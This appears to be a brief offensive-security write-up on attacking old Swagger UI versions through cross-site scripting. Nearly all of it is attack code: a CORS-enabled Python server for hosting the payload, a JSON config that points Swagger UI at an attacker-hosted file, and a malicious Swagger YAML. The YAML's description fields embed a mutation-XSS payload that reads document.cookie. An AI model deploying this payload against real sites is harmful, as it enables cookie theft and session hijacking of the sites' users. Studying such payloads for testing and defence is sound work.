Get versions and their vulnerabilities.
Find old versions of Swagger-ui vulnerable to various XSS attacks - XSSwagger
Swagger UI 4.1.2 and earlier could allow a remote attacker to conduct spoofing attacks.
from http.server import SimpleHTTPRequestHandler
import socketserver
class CORSRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'GET, OPTIONS')
super().end_headers()
if name == "__main__":
PORT = 80
with socketserver.TCPServer(("", PORT), CORSRequestHandler) as httpd:
print("Serving at port", PORT)
httpd.serve_forever()
{
"url": "http://IP/test.yaml",
"urls": [
{
"url": "http://IP/test.yaml",
"name": "Foo"
}
]
}
swagger: '2.0'
info:
title: XSS Attack BY 0xss0rz
description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
version: production
basePath: /JSSResource/
produces:
- application/xml
- application/json
consumes:
- application/xml
- application/json
security: - basicAuth: []
paths:
/M0X0101:
get:
responses:
'200':
description: No response was specified
tags: - XSS_D
operationId: findAccounts
summary: Finds all accounts
'/hack/hachid/{id}':
delete:
parameters:
- description: |
<form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(document.cookie) src=1>"></form>
format: int64
in: path
name: id
required: true
type: integer
responses:
'200':
description: No response was specified